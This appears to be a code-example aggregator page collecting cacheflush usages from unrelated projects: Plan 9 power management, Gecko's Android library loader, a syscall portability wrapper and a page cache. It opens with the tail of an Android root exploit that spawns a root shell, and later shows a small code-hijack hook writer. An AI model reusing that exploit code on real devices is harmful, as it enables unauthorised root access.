        return -errno;
    }
    printf("[+] Opened PPPOLAC socket: %d\n", sock);
    close(sock);
    printf("[+] Executed function\n");

    if (getuid() != 0) {
        printf("[-] failed to get uid 0\n");
        exit(EXIT_FAILURE);
    }

    printf("[+] got r00t!\n");

    close(mdp_fd);
    munmap((void*)TRAMPOLINE_ADDRESS, 0x1000);

    execl("/system/bin/sh", "sh", NULL);

    return 0;
}
Пример #8
0
void
deepsleep(void) {
	static int power_pl;
	ulong xsp, xlink;
//	ulong mecr;
	ulong clkd;
	vlong savedtod;
	extern void power_resume(void);

	power_pl = splhi();
	xlink = getcallerpc(&xlink);

	/* Power down */
	pcmciapower(0);
	irpower(0);
	audiopower(0);
	screenpower(0);
	µcpower(0);
	iprint("entering suspend mode, sp = %#p, pc = 0x%lux, psw = 0x%ux\n",
		&xsp, xlink, power_pl);
//	dumpitall();
	delay(1000);
	uartpower(0);
	rs232power(0);
	clockpower(0);
	gpiosave(&savedgpioregs, gpioregs);
	intrcpy(&savedintrregs, intrregs);
	cacheflush();
	delay(50);
	if(setpowerlabel()){
		/* return here with mmu back on */
		trapresume();

		gpiorestore(gpioregs, &savedgpioregs);
		delay(50);
		intrcpy(intrregs, &savedintrregs);
		if(intrregs->icip & (1<<IRQgpio0)){
			// don't want to sleep now. clear on/off irq.
			gpioregs->edgestatus = (1<<IRQgpio0);
			intrregs->icip = (1<<IRQgpio0);
		}
		clkd = clockpower(1);
		gpclkregs->r0 = 1<<0;
		todset(savedtod + clkd * TODFREQ, 0LL, 0);
		resetsuspendtimer();
		rs232power(1);
		uartpower(1);
		delay(100);
		xlink = getcallerpc(&xlink);
		iprint("\nresuming execution, sp = %#p, pc = 0x%lux, psw = 0x%ux\n",
			&xsp, xlink, splhi());
//		dumpitall();
		delay(1000);
//		irpower(1);
		audiopower(1);
		µcpower(1);
		screenpower(1);
		pcmciapower(1);
		splx(power_pl);
		return;
	}
	cacheflush();
	delay(100);
	savedtod = todget(nil);
	power_down();
	/* no return */
}
Пример #9
0
void md_cacheflush(u1 *addr, s4 nbytes)  { cacheflush(addr, FLUSH_SCOPE_PAGE, FLUSH_CACHE_BOTH, nbytes); }
Пример #10
0
static void
extractFile(const char * path, const struct cdir_entry *entry, void * data)
{
  uint32_t size = letoh32(entry->uncompressed_size);

  struct stat status;
  if (!stat(path, &status) &&
      status.st_size == size &&
      apk_mtime < status.st_mtime)
    return;

  int fd = open(path, O_CREAT | O_NOATIME | O_TRUNC | O_RDWR, S_IRWXU);
  if (fd == -1) {
    __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "Couldn't open %s to decompress library", path);
    return;
  }

  if (ftruncate(fd, size) == -1) {
    __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "Couldn't ftruncate %s to decompress library", path);
    close(fd);
    return;
  }

  void * buf = mmap(NULL, size, PROT_READ | PROT_WRITE,
                    MAP_SHARED, fd, 0);
  if (buf == (void *)-1) {
    __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "Couldn't mmap decompression buffer");
    close(fd);
    return;
  }

  z_stream strm = {
    next_in: (Bytef *)data,
    avail_in: letoh32(entry->compressed_size),
    total_in: 0,

    next_out: (Bytef *)buf,
    avail_out: size,
    total_out: 0
  };

  int ret;
  ret = inflateInit2(&strm, -MAX_WBITS);
  if (ret != Z_OK)
    __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "inflateInit failed: %s", strm.msg);

  if (inflate(&strm, Z_FINISH) != Z_STREAM_END)
    __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "inflate failed: %s", strm.msg);

  if (strm.total_out != size)
    __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "extracted %d, expected %d!", strm.total_out, size);

  ret = inflateEnd(&strm);
  if (ret != Z_OK)
    __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "inflateEnd failed: %s", strm.msg);

  close(fd);
#ifdef ANDROID_ARM_LINKER
  /* We just extracted data that is going to be executed in the future.
   * We thus need to ensure Instruction and Data cache coherency. */
  cacheflush((unsigned) buf, (unsigned) buf + size, 0);
#endif
  munmap(buf, size);
}

static void
extractLib(const struct cdir_entry *entry, void * data, void * dest)
{
  z_stream strm = {
    next_in: (Bytef *)data,
    avail_in: letoh32(entry->compressed_size),
    total_in: 0,

    next_out: (Bytef *)dest,
    avail_out: letoh32(entry->uncompressed_size),
    total_out: 0
  };

  int ret;
  ret = inflateInit2(&strm, -MAX_WBITS);
  if (ret != Z_OK)
    __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "inflateInit failed: %s", strm.msg);

  ret = inflate(&strm, Z_SYNC_FLUSH);
  if (ret != Z_STREAM_END)
    __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "inflate failed: %s", strm.msg);

  ret = inflateEnd(&strm);
  if (ret != Z_OK)
    __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "inflateEnd failed: %s", strm.msg);

  if (strm.total_out != letoh32(entry->uncompressed_size))
    __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "File not fully uncompressed! %d / %d", strm.total_out, letoh32(entry->uncompressed_size));
}
Пример #11
0
bool
MappableSeekableZStream::ensure(const void *addr)
{
  debug("ensure @%p", addr);
  void *addrPage = reinterpret_cast<void *>
                   (reinterpret_cast<uintptr_t>(addr) & PAGE_MASK);
  /* Find the mapping corresponding to the given page */
  std::vector<LazyMap>::iterator map;
  for (map = lazyMaps.begin(); map < lazyMaps.end(); ++map) {
    if (map->Contains(addrPage))
      break;
  }
  if (map == lazyMaps.end())
    return false;

  /* Find corresponding chunk */
  off_t mapOffset = map->offsetOf(addrPage);
  off_t chunk = mapOffset / zStream.GetChunkSize();

  /* In the typical case, we just need to decompress the chunk entirely. But
   * when the current mapping ends in the middle of the chunk, we want to
   * stop there. However, if another mapping needs the last part of the
   * chunk, we still need to continue. As mappings are ordered by offset
   * and length, we don't need to scan the entire list of mappings.
   * It is safe to run through lazyMaps here because the linker is never
   * going to call mmap (which adds lazyMaps) while this function is
   * called. */
  size_t length = zStream.GetChunkSize(chunk);
  off_t chunkStart = chunk * zStream.GetChunkSize();
  off_t chunkEnd = chunkStart + length;
  std::vector<LazyMap>::iterator it;
  for (it = map; it < lazyMaps.end(); ++it) {
    if (chunkEnd <= it->endOffset())
      break;
  }
  if ((it == lazyMaps.end()) || (chunkEnd > it->endOffset())) {
    /* The mapping "it" points at now is past the interesting one */
    --it;
    length = it->endOffset() - chunkStart;
  }

  AutoLock lock(&mutex);

  /* The very first page is mapped and accessed separately of the rest, and
   * as such, only the first page of the first chunk is decompressed this way.
   * When we fault in the remaining pages of that chunk, we want to decompress
   * the complete chunk again. Short of doing that, we would end up with
   * no data between PAGE_SIZE and chunkSize, which would effectively corrupt
   * symbol resolution in the underlying library. */
  if (chunkAvail[chunk] < (length + PAGE_SIZE - 1) / PAGE_SIZE) {
    if (!zStream.DecompressChunk(*buffer + chunkStart, chunk, length))
      return false;

#if defined(ANDROID) && defined(__arm__)
    if (map->prot & PROT_EXEC) {
      /* We just extracted data that may be executed in the future.
       * We thus need to ensure Instruction and Data cache coherency. */
      debug("cacheflush(%p, %p)", *buffer + chunkStart, *buffer + (chunkStart + length));
      cacheflush(reinterpret_cast<uintptr_t>(*buffer + chunkStart),
                 reinterpret_cast<uintptr_t>(*buffer + (chunkStart + length)), 0);
    }
#endif
    /* Only count if we haven't already decompressed parts of the chunk */
    if (chunkAvail[chunk] == 0)
      chunkAvailNum++;

    chunkAvail[chunk] = (length + PAGE_SIZE - 1) / PAGE_SIZE;
  }

  /* Flip the chunk mapping protection to the recorded flags. We could
   * also flip the protection for other mappings of the same chunk,
   * but it's easier to skip that and let further segfaults call
   * ensure again. */
  const void *chunkAddr = reinterpret_cast<const void *>
                          (reinterpret_cast<uintptr_t>(addrPage)
                           - mapOffset % zStream.GetChunkSize());
  const void *chunkEndAddr = reinterpret_cast<const void *>
                             (reinterpret_cast<uintptr_t>(chunkAddr) + length);
  
  const void *start = std::max(map->addr, chunkAddr);
  const void *end = std::min(map->end(), chunkEndAddr);
  length = reinterpret_cast<uintptr_t>(end)
           - reinterpret_cast<uintptr_t>(start);

  debug("mprotect @%p, 0x%" PRIxSize ", 0x%x", start, length, map->prot);
  if (mprotect(const_cast<void *>(start), length, map->prot) == 0)
    return true;

  log("mprotect failed");
  return false;
}
Пример #12
0
inline void arm_write_hook ( void *target, char *code )
{
    memcpy(target, code, HIJACK_SIZE);
    cacheflush(target, HIJACK_SIZE);
}
Пример #13
0
int WRAP(syscall)(int portable_number, ...)
{
    va_list ap;
    int native_number, ret;
    int i, nargs, args[MAXARGS];

    ALOGV(" ");
    ALOGV("%s(portable_number:%d, ...) {", __func__, portable_number);

    switch (portable_number) {
#ifdef __NR_add_key_portable
    case __NR_add_key_portable: native_number = __NR_add_key; break;
#endif

#ifdef __NR_cacheflush_portable
    case __NR_cacheflush_portable: {
        long start, end, flags;

        va_start(ap, portable_number);
        start = va_arg(ap, long);
        end = va_arg(ap, long);
        flags = va_arg(ap, long);
        va_end(ap);

        ret = cacheflush(start, end, flags);
        goto done;
    }
#endif

#ifdef __NR_capget_portable
    case __NR_capget_portable: native_number = __NR_capget; break;
#endif

#ifdef __NR_capset_portable
    case __NR_capset_portable: native_number = __NR_capset; break;
#endif

#ifdef __NR_clock_getres_portable
    case __NR_clock_getres_portable: native_number = __NR_clock_getres; break;
#endif

#ifdef __NR_clock_nanosleep
    case __NR_clock_nanosleep_portable: native_number = __NR_clock_nanosleep; break;
#endif

#ifdef __NR_dup3_portable
    case __NR_dup3_portable: native_number = __NR_dup3; break;
#endif

#ifdef __NR_epoll_create_portable
    case __NR_epoll_create_portable: native_number = __NR_epoll_create; break;
#endif

#ifdef __NR_epoll_create1_portable
    case __NR_epoll_create1_portable: native_number = __NR_epoll_create1; break;
#endif

#ifdef __NR_eventfd_portable
    /*
     * Prior to 2.6.27 we only had this system call,
     * which didn't have a flags argument. The kernel
     * just provides a zero for flags when this system
     * call number is used.
     */
    case __NR_eventfd_portable: {
        unsigned int initval;                        /* 64-bit counter initial value */
        int flags = 0;

        va_start(ap, portable_number);

        initval  = va_arg(ap, int);

        va_end(ap);

        ret = WRAP(eventfd)(initval, flags);      /* Android uses __NR_eventfd2 in eventfd() */
        goto done;
    }
#endif

#ifdef __NR_eventfd2_portable
    /*
     * Starting with Linux 2.6.27 a flags argument was added.
     * Both Bionic and glibc implement the eventfd() now with
     * the additional flags argument.
     */
    case __NR_eventfd2_portable: {
        unsigned int initval;                        /* 64-bit counter initial value */
        int flags;

        va_start(ap, portable_number);

        initval  = va_arg(ap, int);
        flags = va_arg(ap, int);

        va_end(ap);

        ret = WRAP(eventfd)(initval, flags);      /* Android uses __NR_eventfd2 in eventfd() */
        goto done;
    }
#endif

#ifdef __NR_exit_group_portable
    case __NR_exit_group_portable: native_number = __NR_exit_group; break;
#endif

#ifdef __NR_faccessat_portable
    case __NR_faccessat_portable: native_number = __NR_faccessat; break;
#endif

#ifdef __NR_fallocate_portable
    case __NR_fallocate_portable: native_number = __NR_fallocate; break;
#endif

#ifdef __NR_fchmodat_portable
    case __NR_fchmodat_portable: native_number = __NR_fchmodat; break;
#endif

#ifdef __NR_fchownat_portable
    case __NR_fchownat_portable: native_number = __NR_fchownat; break;
#endif

#ifdef __NR_fstatat64_portable
    case __NR_fstatat64_portable: native_number = __NR_fstatat64; break;
#endif

#ifdef __NR_futimesat_portable
    case __NR_futimesat_portable: native_number = __NR_futimesat; break;
#endif

#ifdef __NR_getegid_portable
    case __NR_getegid_portable: native_number = __NR_getegid; break;
#endif

#ifdef __NR_geteuid_portable
    case __NR_geteuid_portable: native_number = __NR_geteuid; break;
#endif

#ifdef __NR_getgid_portable
    case __NR_getgid_portable: native_number = __NR_getgid; break;
#endif

#ifdef __NR_get_mempolicy_portable
    case __NR_get_mempolicy_portable: native_number = __NR_get_mempolicy; break;
#endif

#ifdef __NR_get_robust_list_portable
    case __NR_get_robust_list_portable: native_number = __NR_get_robust_list; break;
#endif

#ifdef __NR_gettid_portable
    case __NR_gettid_portable: native_number = __NR_gettid; break;
#endif

#ifdef __NR_gettimeofday_portable
    case __NR_gettimeofday_portable: native_number = __NR_gettimeofday; break;
#endif

#ifdef __NR_getuid_portable
    case __NR_getuid_portable: native_number = __NR_getuid; break;
#endif

#ifdef __NR_inotify_init_portable
    case __NR_inotify_init_portable: native_number = __NR_inotify_init; break;
#endif

#ifdef __NR_inotify_add_watch_portable
    case __NR_inotify_add_watch_portable: native_number = __NR_inotify_add_watch; break;
#endif

#ifdef __NR_inotify_init1_portable
    case __NR_inotify_init1_portable: {
        int portable_flags;

        va_start(ap, portable_number);
        portable_flags = va_arg(ap, int);
        va_end(ap);

        ret = WRAP(inotify_init1)(portable_flags);
        goto done;
    }
#endif

#ifdef __NR_keyctl_portable
    case __NR_keyctl_portable: native_number = __NR_keyctl; break;
#endif

#ifdef __NR_linkat
    case __NR_linkat_portable: native_number = __NR_linkat; break;
#endif

#ifdef __NR_mbind_portable
    case __NR_mbind_portable: native_number = __NR_mbind; break;
#endif

#ifdef __NR_mkdirat_portable
    case __NR_mkdirat_portable: native_number = __NR_mkdirat; break;
#endif

#ifdef __NR_mknodat_portable
    case __NR_mknodat_portable: native_number = __NR_mknodat; break;
#endif

#ifdef __NR_openat_portable
    case __NR_openat_portable: native_number = __NR_openat; break;
#endif

#ifdef __NR_pipe2_portable
    case __NR_pipe2_portable: {
        int *pipefd_ptr;
        int portable_flags;

        va_start(ap, portable_number);
        pipefd_ptr = va_arg(ap, int *);
        portable_flags = va_arg(ap, int);
        va_end(ap);

        ret = WRAP(pipe2)(pipefd_ptr, portable_flags);
        goto done;
    }
#endif

#ifdef __NR_readahead_portable
    case __NR_readahead_portable: native_number = __NR_readahead; break;
#endif

#ifdef __NR_readlinkat_portable
    case __NR_readlinkat_portable: native_number = __NR_readlinkat; break;
#endif

#ifdef __NR_renameat_portable
    case __NR_renameat_portable: native_number = __NR_renameat; break;
#endif

#ifdef __NR_rt_sigaction_portable
    case __NR_rt_sigaction_portable: {
        int sig;
        struct sigaction_portable *act;
        struct sigaction_portable *oact;
        size_t sigsetsize;

        va_start(ap, portable_number);
        sig = va_arg(ap, int);
        act = va_arg(ap, struct sigaction_portable *);
        oact = va_arg(ap, struct sigaction_portable *);
        sigsetsize = va_arg(ap, size_t);
        va_end(ap);
        return WRAP(__rt_sigaction)(sig, act, oact, sigsetsize);
    }
#endif

#ifdef __NR_rt_sigprocmask_portable
    case __NR_rt_sigprocmask_portable: {
        int how;
        const sigset_portable_t *set;
        sigset_portable_t *oset;
        size_t sigsetsize;

        va_start(ap, portable_number);
        how = va_arg(ap, int);
        set = va_arg(ap, sigset_portable_t *);
        oset = va_arg(ap, sigset_portable_t *);
        sigsetsize = va_arg(ap, size_t);
        va_end(ap);

        ret = WRAP(__rt_sigprocmask)(how, set, oset, sigsetsize);
        goto done;
    }
#endif

#ifdef __NR_rt_sigtimedwait_portable
    case __NR_rt_sigtimedwait_portable: {
        const sigset_portable_t *set;
        siginfo_portable_t *info;
        const struct timespec *timeout;
        size_t sigsetsize;

        va_start(ap, portable_number);
        set = va_arg(ap, sigset_portable_t *);
        info = va_arg(ap, siginfo_portable_t *);
        timeout = va_arg(ap, struct timespec *);
        sigsetsize = va_arg(ap, size_t);
        va_end(ap);

        ret = WRAP(__rt_sigtimedwait)(set, info, timeout, sigsetsize);
        goto done;
    }
#endif

#ifdef __NR_rt_sigqueueinfo_portable
    case __NR_rt_sigqueueinfo_portable: {
        pid_t pid;
        int sig;
        siginfo_portable_t *uinfo;

        va_start(ap, portable_number);
        pid = va_arg(ap, pid_t);
        sig = va_arg(ap, int);
        uinfo = va_arg(ap, siginfo_portable_t *);
        va_end(ap);

        ret = WRAP(rt_sigqueueinfo)(pid, sig, uinfo);
        goto done;
    }
#endif

#ifdef __NR_setgid_portable
    case __NR_setgid_portable: native_number = __NR_setgid; break;
#endif

#ifdef __NR_set_mempolicy_portable
    case __NR_set_mempolicy_portable: native_number = __NR_set_mempolicy; break;
#endif

#ifdef __NR_set_robust_list_portable
    case __NR_set_robust_list_portable: native_number = __NR_set_robust_list; break;
#endif

#ifdef __NR_set_tid_address_portable
    case __NR_set_tid_address_portable: native_number = __NR_set_tid_address; break;
#endif

#ifdef __NR_sgetmask_portable
    case __NR_sgetmask_portable: native_number = __NR_sgetmask; break;
#endif

#ifdef __NR_signalfd4_portable
    case __NR_signalfd4_portable: {
        int fd;
        sigset_portable_t *portable_sigmask;
        int sigsetsize;
        int flags;

        va_start(ap, portable_number);

        fd = va_arg(ap, int);
        portable_sigmask = va_arg(ap, sigset_portable_t *);
        sigsetsize = va_arg(ap, int);
        flags = va_arg(ap, int);

        va_end(ap);

        ret = do_signalfd4_portable(fd, (const sigset_portable_t *) portable_sigmask, sigsetsize,
                                    flags);
        goto done;
    }
#endif

#ifdef __NR_socketcall_portable
    case __NR_socketcall_portable: native_number = __NR_socketcall; break;
#endif

#ifdef __NR_splice_portable
    case __NR_splice_portable: native_number = __NR_splice; break;
#endif

/* REMIND - DOUBLE CHECK THIS ONE */
#ifdef __NR_ssetmask_portable
    case __NR_ssetmask_portable: native_number = __NR_ssetmask; break;
#endif

#ifdef __NR_swapoff_portable
    case __NR_swapoff_portable: native_number = __NR_swapoff; break;
#endif

#ifdef __NR_swapon_portable
    case __NR_swapon_portable: native_number = __NR_swapon; break;
#endif

#ifdef __NR_symlinkat_portable
    case __NR_symlinkat_portable: native_number = __NR_symlinkat; break;
#endif

/*
 * ARM uses the new, version 2, form of sync_file_range() which
 * doesn't waste 32 bits between the 32 bit arg and the 64 bit arg.
 * It does this by moving the last 32 bit arg and placing it with
 * the 1st 32 bit arg.
 *
 * Here's the trivial mapping function in the kernel ARM code:
 *
 *   sync_file_range2(int fd, unsigned int flags, loff_t offset, loff_t nbytes) {
 *       return sys_sync_file_range(fd, offset, nbytes, flags);
 *   }
 *
 * For portability we have to do a similar mapping for the native/MIPS system
 * call but have to provide the alignment padding expected by the sync_file_range()
 * system call. We avoid alignment issues while using varargs by avoiding the use
 * of 64 bit args.
 */
#if defined( __NR_arm_sync_file_range_portable)
    case __NR_arm_sync_file_range_portable: native_number = __NR_sync_file_range; {
        int fd;
        int flags;
        int offset_low, offset_high;
        int nbytes_low, nbytes_high;
        int align_fill = 0;


        va_start(ap, portable_number);
        fd = va_arg(ap, int);
        flags = va_arg(ap, int);
        offset_low = va_arg(ap, int);
        offset_high = va_arg(ap, int);
        nbytes_low = va_arg(ap, int);
        nbytes_high = va_arg(ap, int);
        va_end(ap);

        ALOGV("%s: Calling syscall(native_number:%d:'sync_file_range', fd:%d, "
              "align_fill:0x%x, offset_low:0x%x, offset_high:0x%x, "
              "nbytes_low:0x%x, nbytes_high:0x%x, flags:0x%x);", __func__,
              native_number, fd, align_fill, offset_low, offset_high,
              nbytes_low, nbytes_high, flags);

        ret = REAL(syscall)(native_number, fd, align_fill, offset_low, offset_high,
                      nbytes_low, nbytes_high, flags);

        goto done;
    }
#endif


#ifdef __NR__sysctl_portable
    case __NR__sysctl_portable: native_number = __NR__sysctl; break;
#endif

#ifdef __NR_sysfs_portable
    case __NR_sysfs_portable: native_number = __NR_sysfs; break;
#endif

#ifdef __NR_syslog_portable
    case __NR_syslog_portable: native_number = __NR_syslog; break;
#endif

#ifdef __NR_tee_portable
    case __NR_tee_portable: native_number = __NR_tee; break;
#endif

#ifdef __NR_timer_create_portable
    case __NR_timer_create_portable: {
        clockid_t clockid;
        struct sigevent *evp;
        timer_t *timerid;

        va_start(ap, portable_number);
        clockid = va_arg(ap, clockid_t);
        evp = va_arg(ap, struct sigevent *);
        timerid = va_arg(ap, timer_t *);
        va_end(ap);

        ret = WRAP(timer_create)(clockid, evp, timerid);
        goto done;
    }
#endif

#ifdef __NR_timerfd_create_portable
    case __NR_timerfd_create_portable: {
        int clockid;
        int flags;

        va_start(ap, portable_number);
        clockid = va_arg(ap, int);              /* clockid is portable */
        flags = va_arg(ap, int);                /* flags need to be mapped */
        va_end(ap);

        ret = WRAP(timerfd_create)(clockid, flags);
        goto done;
    }
#endif

#ifdef __NR_timerfd_gettime_portable
    case __NR_timerfd_gettime_portable: native_number = __NR_timerfd_gettime; break;
#endif

#ifdef __NR_timerfd_settime_portable
    case __NR_timerfd_settime_portable: native_number = __NR_timerfd_settime; break;
#endif

#ifdef __NR_timer_getoverrun_portable
    case __NR_timer_getoverrun_portable: native_number = __NR_timer_getoverrun; break;
#endif

#ifdef __NR_timer_gettime_portable
    case __NR_timer_gettime_portable: native_number = __NR_timer_gettime; break;
#endif

#ifdef __NR_timer_settime_portable
    case __NR_timer_settime_portable: native_number = __NR_timer_settime; break;
#endif

#ifdef __NR_rt_tgsigqueueinfo_portable
    case __NR_rt_tgsigqueueinfo_portable: {
        pid_t tgid;
        pid_t pid;
        int sig;
        siginfo_portable_t *uinfo;

        va_start(ap, portable_number);
        tgid = va_arg(ap, pid_t);
        pid = va_arg(ap, pid_t);
        sig = va_arg(ap, int);
        uinfo = va_arg(ap, siginfo_portable_t *);
        va_end(ap);

        ret = WRAP(rt_tgsigqueueinfo)(tgid, pid, sig, uinfo);
        goto done;
    }
#endif

#ifdef __NR_tkill_portable
    case __NR_tkill_portable: {
        int tid, sig;

        va_start(ap, portable_number);
        tid = va_arg(ap, int);
        sig = va_arg(ap, int);
        va_end(ap);

        ret = WRAP(tkill)(tid, sig);
        goto done;
    }
#endif

#ifdef __NR_uname_portable
    case __NR_uname_portable: native_number = __NR_uname; break;
#endif

#ifdef __NR_vmsplice_portable
    case __NR_vmsplice_portable: native_number = __NR_vmsplice; break;
#endif

    default:
        ALOGV("%s(portable_number:%d,  ...): case default; native_number = -1; "
              "[ERROR: ADD MISSING SYSTEM CALL]", __func__, portable_number);

        native_number = -1;
        break;
    }

    ALOGV("%s: native_number = %d", __func__, native_number);

    if (native_number <= 0) {
        ALOGV("%s: native_number:%d <= 0; ret = -1; [ERROR: FIX SYSTEM CALL]", __func__,
                   native_number);

        *REAL(__errno)() = ENOSYS;
        ret = -1;
        goto done;
    }

    /*
     * Get the argument list
     * This is pretty crappy:
     *   It assumes that the portable and native arguments are compatible
     *   It assumes that no more than MAXARGS arguments are passed
     *
     * Possible changes:
     *  o include the argument count for each mapped system call
     *  o map the syscall into the equivalent library call:
     *    eg syscall(__NR_gettimeofday_portable, struct timeval *tv, struct timezone *tz) =>
     *       gettimeofday(struct timeval *tv, struct timezone *tz)
     *
     * second option is probably best as it allows argument remapping to take place if needed
     *
     */
    va_start(ap, portable_number);
    /* For now assume all syscalls take MAXARGS arguments. */
    nargs = MAXARGS;
    for (i = 0; i < nargs; i++)
        args[i] = va_arg(ap, int);
    va_end(ap);

    ALOGV("%s: Calling syscall(%d, %d, %d, %d, %d, %d, %d, %d, %d);", __func__,
          native_number, args[0], args[1], args[2], args[3], args[4],
          args[5], args[6], args[7]);

    ret = REAL(syscall)(native_number, args[0], args[1], args[2], args[3],
                  args[4], args[5], args[6], args[7]);

done:
    if (ret == -1) {
        ALOGV("%s: ret == -1; errno:%d;", __func__, *REAL(__errno)());
    }
    ALOGV("%s: return(ret:%d); }", __func__, ret);
    return ret;
}
Пример #14
0
static void * mozload(const char * path, void *zip,
                      struct cdir_entry *cdir_start, uint16_t cdir_entries)
{
#ifdef DEBUG
  struct timeval t0, t1;
  gettimeofday(&t0, 0);
#endif

  struct cdir_entry *entry = find_cdir_entry(cdir_start, cdir_entries, path);
  struct local_file_header *file = (struct local_file_header *)((char *)zip + letoh32(entry->offset));
  void * data = ((char *)&file->data) + letoh16(file->filename_size) + letoh16(file->extra_field_size);
  void * handle;

  if (extractLibs) {
    char fullpath[PATH_MAX];
    snprintf(fullpath, PATH_MAX, "%s/%s", getenv("CACHE_PATH"), path);
    __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "resolved %s to %s", path, fullpath);
    extractFile(fullpath, entry, data);
    handle = __wrap_dlopen(fullpath, RTLD_LAZY);
    if (!handle)
      __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "Couldn't load %s because %s", fullpath, __wrap_dlerror());
#ifdef DEBUG
    gettimeofday(&t1, 0);
    __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "%s: spent %d", path,
                        (((long long)t1.tv_sec * 1000000LL) +
                          (long long)t1.tv_usec) -
                        (((long long)t0.tv_sec * 1000000LL) +
                          (long long)t0.tv_usec));
#endif
    return handle;
  }

  size_t offset = letoh32(entry->offset) + sizeof(*file) + letoh16(file->filename_size) + letoh16(file->extra_field_size);
  bool skipLibCache = false;
  int fd = zip_fd;
  void * buf = NULL;
  uint32_t lib_size = letoh32(entry->uncompressed_size);
  int cache_fd = 0;
  if (letoh16(file->compression) == DEFLATE) {
    cache_fd = lookupLibCacheFd(path);
    fd = cache_fd;
    if (fd < 0) {
      char fullpath[PATH_MAX];
      snprintf(fullpath, PATH_MAX, "%s/%s", getenv("CACHE_PATH"), path);
      fd = open(fullpath, O_RDWR);
      struct stat status;
      if (stat(fullpath, &status) ||
          status.st_size != lib_size ||
          apk_mtime > status.st_mtime) {
        unlink(fullpath);
        fd = -1;
      } else {
        cache_fd = fd;
        addLibCacheFd(path, fd);
      }
    }
    if (fd < 0)
      fd = createAshmem(lib_size, path);
#ifdef DEBUG
    else
      __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "Loading %s from cache", path);
#endif
    if (fd < 0) {
      __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "Couldn't open " ASHMEM_NAME_DEF ", Error %d, %s, using a file", errno, strerror(errno));
      char fullpath[PATH_MAX];
      snprintf(fullpath, PATH_MAX, "%s/%s", getenv("CACHE_PATH"), path);
      fd = open(fullpath, O_RDWR | O_CREAT);
      if (fd < 0) {
        __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "Couldn't create a file either, giving up");
        return NULL;
      }
      // we'd like to use fallocate here, but it doesn't exist currently?
      if (lseek(fd, lib_size - 1, SEEK_SET) == (off_t) - 1) {
         __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "seeking file failed");
        close(fd);
        return NULL;
      }
      if (write(fd, "", 1) != 1) {
        __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "writting one byte to the file failed");
        close(fd);
        return NULL;
      }
      skipLibCache = true;
      addLibCacheFd(path, fd);
    }
    buf = mmap(NULL, lib_size,
               PROT_READ | PROT_WRITE,
               MAP_SHARED, fd, 0);
    if (buf == (void *)-1) {
      __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "Couldn't mmap decompression buffer");
      close(fd);
      return NULL;
    }

    offset = 0;

    if (cache_fd < 0) {
      extractLib(entry, data, buf);
#ifdef ANDROID_ARM_LINKER
      /* We just extracted data that is going to be executed in the future.
       * We thus need to ensure Instruction and Data cache coherency. */
      cacheflush((unsigned) buf, (unsigned) buf + entry->uncompressed_size, 0);
#endif
      if (!skipLibCache)
        addLibCacheFd(path, fd, lib_size, buf);
    }

    // preload libxul, to avoid slowly demand-paging it
    if (!strcmp(path, "libxul.so"))
      madvise(buf, entry->uncompressed_size, MADV_WILLNEED);
    data = buf;
  }

#ifdef DEBUG
  __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "Loading %s with len %d (0x%08x) and offset %d (0x%08x)", path, lib_size, lib_size, offset, offset);
#endif

  handle = moz_mapped_dlopen(path, RTLD_LAZY, fd, data,
                             lib_size, offset);
  if (!handle)
    __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "Couldn't load %s because %s", path, __wrap_dlerror());

  // if we're extracting the libs to disk and cache_fd is not valid then 
  // keep this buffer around so it can be used to write to disk
  if (buf && (!extractLibs || cache_fd >= 0))
    munmap(buf, lib_size);

#ifdef DEBUG
  gettimeofday(&t1, 0);
  __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "%s: spent %d", path, (((long long)t1.tv_sec * 1000000LL) + (long long)t1.tv_usec) -
               (((long long)t0.tv_sec * 1000000LL) + (long long)t0.tv_usec));
#endif

  return handle;
}
Пример #15
0
void md_icacheflush(u1* addr, s4 nbytes) { cacheflush(addr, FLUSH_SCOPE_LINE, FLUSH_CACHE_INSN, nbytes); }
Пример #16
0
void md_dcacheflush(u1 *addr, s4 nbytes) { cacheflush(addr, FLUSH_SCOPE_PAGE, FLUSH_CACHE_DATA, nbytes); }
Пример #17
0
static Image*
_cachedpage(Document *doc, int angle, int page, char *ra)
{
	int i;
	Cached *c, old;
	Image *im, *tmp;

	if((page < 0 || page >= doc->npage) && !doc->fwdonly)
		return nil;

Again:
	for(i=0; i<nelem(cache); i++){
		c = &cache[i];
		if(c->doc == doc && c->angle == angle && c->page == page){
			if(chatty) fprint(2, "cache%s hit %d\n", ra, page);
			goto Found;
		}
		if(c->doc == nil)
			break;
	}

	if(i >= nelem(cache))
		i = nelem(cache)-1;
	c = &cache[i];
	if(c->im)
		freeimage(c->im);
	c->im = nil;
	c->doc = nil;
	c->page = -1;

	if(chatty) fprint(2, "cache%s load %d\n", ra, page);
	im = doc->drawpage(doc, page);
	if(im == nil){
		if(doc->fwdonly)	/* end of file */
			wexits(0);
		im = questionmark();
		if(im == nil){
		Flush:
			if(i > 0){
				cacheflush();
				goto Again;
			}
			fprint(2, "out of memory: %r\n");
			wexits("memory");
		}
		return im;
	}

	if(im->r.min.x != 0 || im->r.min.y != 0){
		/* translate to 0,0 */
		tmp = xallocimage(display, Rect(0, 0, Dx(im->r), Dy(im->r)), im->chan, 0, DNofill);
		if(tmp == nil){
			freeimage(im);
			goto Flush;
		}
